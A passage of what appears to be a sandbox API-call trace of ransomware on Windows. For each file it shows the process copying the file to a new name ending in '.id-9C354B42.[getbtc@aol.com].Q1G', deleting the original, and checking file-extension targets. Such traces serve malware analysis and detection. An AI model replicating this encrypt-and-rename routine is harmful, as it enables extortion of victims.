Shared\\VBA\\VBA7\\1033\\VBHW6.CHM.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0050.913] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0050.913] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.913] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.913] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0050.913] GetLastError () returned 0x0 [0050.913] ReadFile (in: hFile=0x188, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0xe2aa, lpOverlapped=0x0) returned 1 [0050.920] WriteFile (in: hFile=0x1c8, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xe2b0, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xe2b0, lpOverlapped=0x0) returned 1 [0050.922] ReadFile (in: hFile=0x188, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0050.922] WriteFile (in: hFile=0x1c8, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0050.922] SetEndOfFile (hFile=0x1c8) returned 1 [0050.922] CloseHandle (hObject=0x1c8) returned 1 [0050.922] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.922] SetEndOfFile (hFile=0x188) returned 1 [0050.923] CloseHandle (hObject=0x188) returned 1 [0050.923] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0050.924] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm")) returned 1 [0050.924] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0050.924] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0050.924] lstrlenW (lpString=".doc") returned 4 [0050.924] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0050.924] lstrlenW (lpString=".docx") returned 5 [0050.924] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0050.924] lstrlenW (lpString=".pdf") returned 4 [0050.924] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0050.924] lstrlenW (lpString=".xls") returned 4 [0050.924] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0050.924] lstrlenW (lpString=".xlsx") returned 5 [0050.924] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0050.924] lstrlenW (lpString=".ppt") returned 4 [0050.924] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0050.924] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0050.924] lstrlenW (lpString=".zip") returned 4 [0050.924] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0050.924] lstrlenW (lpString=".rar") returned 4 [0050.924] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0050.924] lstrlenW (lpString=".bz2") returned 4 [0050.924] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0050.924] lstrlenW (lpString=".7z") returned 3 [0050.924] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0050.924] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0050.924] lstrlenW (lpString=".dbf") returned 4 [0050.925] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0050.925] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0050.925] lstrlenW (lpString=".1cd") returned 4 [0050.925] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0050.925] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0050.925] lstrlenW (lpString=".jpg") returned 4 [0050.925] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0050.925] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0050.925] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0050.925] lstrlenW (lpString=".doc") returned 4 [0050.925] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0050.925] lstrlenW (lpString=".docx") returned 5 [0050.925] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0050.925] lstrlenW (lpString=".pdf") returned 4 [0050.925] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0050.925] lstrlenW (lpString=".xls") returned 4 [0050.925] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0050.925] lstrlenW (lpString=".xlsx") returned 5 [0050.925] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0050.925] lstrlenW (lpString=".ppt") returned 4 [0050.925] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0050.925] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0050.925] lstrlenW (lpString=".zip") returned 4 [0050.925] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0050.925] lstrlenW (lpString=".rar") returned 4 [0050.925] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0050.925] lstrlenW (lpString=".bz2") returned 4 [0050.925] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0050.925] lstrlenW (lpString=".7z") returned 3 [0050.925] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0050.925] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0050.925] lstrlenW (lpString=".dbf") returned 4 [0050.925] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0050.925] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0050.925] lstrlenW (lpString=".1cd") returned 4 [0050.926] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0050.926] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0050.926] lstrlenW (lpString=".jpg") returned 4 [0050.926] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0050.926] lstrcmpiW (lpString1=".CHM", lpString2=".Q1G") returned -1 [0050.926] lstrlenW (lpString="VBUI6.CHM") returned 9 [0050.926] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbui6.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0050.932] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=416918) returned 1 [0050.932] CloseHandle (hObject=0x188) returned 1 [0050.932] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbui6.chm")) returned 0x20 [0050.932] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbui6.chm.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0050.932] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbui6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0050.932] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.933] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.933] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbui6.chm.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0050.933] GetLastError () returned 0x0 [0050.933] ReadFile (in: hFile=0x188, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x65c96, lpOverlapped=0x0) returned 1 [0050.987] WriteFile (in: hFile=0x1c8, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x65ca0, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x65ca0, lpOverlapped=0x0) returned 1 [0050.995] ReadFile (in: hFile=0x188, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0050.995] WriteFile (in: hFile=0x1c8, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0050.995] SetEndOfFile (hFile=0x1c8) returned 1 [0050.995] CloseHandle (hObject=0x1c8) returned 1 [0050.995] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.995] SetEndOfFile (hFile=0x188) returned 1 [0050.999] CloseHandle (hObject=0x188) returned 1 [0050.999] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0050.999] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbui6.chm")) returned 1 [0050.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0050.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0050.999] lstrlenW (lpString=".doc") returned 4 [0050.999] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0050.999] lstrlenW (lpString=".docx") returned 5 [0050.999] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0050.999] lstrlenW (lpString=".pdf") returned 4 [0050.999] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0050.999] lstrlenW (lpString=".xls") returned 4 [0050.999] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0050.999] lstrlenW (lpString=".xlsx") returned 5 [0050.999] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0051.000] lstrlenW (lpString=".ppt") returned 4 [0051.000] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0051.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0051.000] lstrlenW (lpString=".zip") returned 4 [0051.000] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0051.000] lstrlenW (lpString=".rar") returned 4 [0051.000] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0051.000] lstrlenW (lpString=".bz2") returned 4 [0051.000] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0051.000] lstrlenW (lpString=".7z") returned 3 [0051.000] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0051.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0051.000] lstrlenW (lpString=".dbf") returned 4 [0051.000] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0051.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0051.000] lstrlenW (lpString=".1cd") returned 4 [0051.000] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0051.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0051.000] lstrlenW (lpString=".jpg") returned 4 [0051.000] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0051.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0051.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0051.000] lstrlenW (lpString=".doc") returned 4 [0051.000] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0051.000] lstrlenW (lpString=".docx") returned 5 [0051.000] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0051.000] lstrlenW (lpString=".pdf") returned 4 [0051.000] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0051.000] lstrlenW (lpString=".xls") returned 4 [0051.000] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0051.000] lstrlenW (lpString=".xlsx") returned 5 [0051.000] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0051.000] lstrlenW (lpString=".ppt") returned 4 [0051.000] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0051.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0051.001] lstrlenW (lpString=".zip") returned 4 [0051.001] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0051.001] lstrlenW (lpString=".rar") returned 4 [0051.001] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0051.001] lstrlenW (lpString=".bz2") returned 4 [0051.001] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0051.001] lstrlenW (lpString=".7z") returned 3 [0051.001] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0051.001] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0051.001] lstrlenW (lpString=".dbf") returned 4 [0051.001] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0051.001] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0051.001] lstrlenW (lpString=".1cd") returned 4 [0051.001] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0051.001] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0051.001] lstrlenW (lpString=".jpg") returned 4 [0051.001] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0051.001] lstrcmpiW (lpString1=".config", lpString2=".Q1G") returned -1 [0051.001] lstrlenW (lpString="VSTOInstaller.config") returned 20 [0051.001] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0051.324] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=716) returned 1 [0051.324] CloseHandle (hObject=0x208) returned 1 [0051.324] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config")) returned 0x20 [0051.324] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0051.324] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0051.324] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.324] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.324] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0051.325] GetLastError () returned 0x0 [0051.325] ReadFile (in: hFile=0x208, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x2cc, lpOverlapped=0x0) returned 1 [0051.468] WriteFile (in: hFile=0x1f0, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x2d0, lpOverlapped=0x0) returned 1 [0051.469] ReadFile (in: hFile=0x208, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.469] WriteFile (in: hFile=0x1f0, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xfc, lpOverlapped=0x0) returned 1 [0051.469] SetEndOfFile (hFile=0x1f0) returned 1 [0051.469] CloseHandle (hObject=0x1f0) returned 1 [0051.469] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.469] SetEndOfFile (hFile=0x208) returned 1 [0051.470] CloseHandle (hObject=0x208) returned 1 [0051.470] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0051.470] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config")) returned 1 [0051.470] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0051.470] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0051.470] lstrlenW (lpString=".doc") returned 4 [0051.470] lstrcmpiW (lpString1=".doc", lpString2="nfig") returned -1 [0051.470] lstrlenW (lpString=".docx") returned 5 [0051.470] lstrcmpiW (lpString1=".docx", lpString2="onfig") returned -1 [0051.471] lstrlenW (lpString=".pdf") returned 4 [0051.471] lstrcmpiW (lpString1=".pdf", lpString2="nfig") returned -1 [0051.471] lstrlenW (lpString=".xls") returned 4 [0051.471] lstrcmpiW (lpString1=".xls", lpString2="nfig") returned -1 [0051.471] lstrlenW (lpString=".xlsx") returned 5 [0051.471] lstrcmpiW (lpString1=".xlsx", lpString2="onfig") returned -1 [0051.471] lstrlenW (lpString=".ppt") returned 4 [0051.471] lstrcmpiW (lpString1=".ppt", lpString2="nfig") returned -1 [0051.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0051.471] lstrlenW (lpString=".zip") returned 4 [0051.471] lstrcmpiW (lpString1=".zip", lpString2="nfig") returned -1 [0051.471] lstrlenW (lpString=".rar") returned 4 [0051.471] lstrcmpiW (lpString1=".rar", lpString2="nfig") returned -1 [0051.471] lstrlenW (lpString=".bz2") returned 4 [0051.471] lstrcmpiW (lpString1=".bz2", lpString2="nfig") returned -1 [0051.471] lstrlenW (lpString=".7z") returned 3 [0051.471] lstrcmpiW (lpString1=".7z", lpString2="fig") returned -1 [0051.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0051.471] lstrlenW (lpString=".dbf") returned 4 [0051.471] lstrcmpiW (lpString1=".dbf", lpString2="nfig") returned -1 [0051.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0051.471] lstrlenW (lpString=".1cd") returned 4 [0051.471] lstrcmpiW (lpString1=".1cd", lpString2="nfig") returned -1 [0051.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0051.471] lstrlenW (lpString=".jpg") returned 4 [0051.471] lstrcmpiW (lpString1=".jpg", lpString2="nfig") returned -1 [0051.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0051.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0051.471] lstrlenW (lpString=".doc") returned 4 [0051.471] lstrcmpiW (lpString1=".doc", lpString2="nfig") returned -1 [0051.471] lstrlenW (lpString=".docx") returned 5 [0051.471] lstrcmpiW (lpString1=".docx", lpString2="onfig") returned -1 [0051.471] lstrlenW (lpString=".pdf") returned 4 [0051.471] lstrcmpiW (lpString1=".pdf", lpString2="nfig") returned -1 [0051.471] lstrlenW (lpString=".xls") returned 4 [0051.472] lstrcmpiW (lpString1=".xls", lpString2="nfig") returned -1 [0051.472] lstrlenW (lpString=".xlsx") returned 5 [0051.472] lstrcmpiW (lpString1=".xlsx", lpString2="onfig") returned -1 [0051.472] lstrlenW (lpString=".ppt") returned 4 [0051.472] lstrcmpiW (lpString1=".ppt", lpString2="nfig") returned -1 [0051.472] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0051.472] lstrlenW (lpString=".zip") returned 4 [0051.472] lstrcmpiW (lpString1=".zip", lpString2="nfig") returned -1 [0051.472] lstrlenW (lpString=".rar") returned 4 [0051.472] lstrcmpiW (lpString1=".rar", lpString2="nfig") returned -1 [0051.472] lstrlenW (lpString=".bz2") returned 4 [0051.472] lstrcmpiW (lpString1=".bz2", lpString2="nfig") returned -1 [0051.472] lstrlenW (lpString=".7z") returned 3 [0051.472] lstrcmpiW (lpString1=".7z", lpString2="fig") returned -1 [0051.472] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0051.472] lstrlenW (lpString=".dbf") returned 4 [0051.472] lstrcmpiW (lpString1=".dbf", lpString2="nfig") returned -1 [0051.472] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0051.472] lstrlenW (lpString=".1cd") returned 4 [0051.472] lstrcmpiW (lpString1=".1cd", lpString2="nfig") returned -1 [0051.472] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0051.472] lstrlenW (lpString=".jpg") returned 4 [0051.472] lstrcmpiW (lpString1=".jpg", lpString2="nfig") returned -1 [0051.472] lstrcmpiW (lpString1=".inc", lpString2=".Q1G") returned -1 [0051.472] lstrlenW (lpString="adcjavas.inc") returned 12 [0051.472] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0051.484] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=630) returned 1 [0051.484] CloseHandle (hObject=0x208) returned 1 [0051.484] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc")) returned 0x20 [0051.484] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common 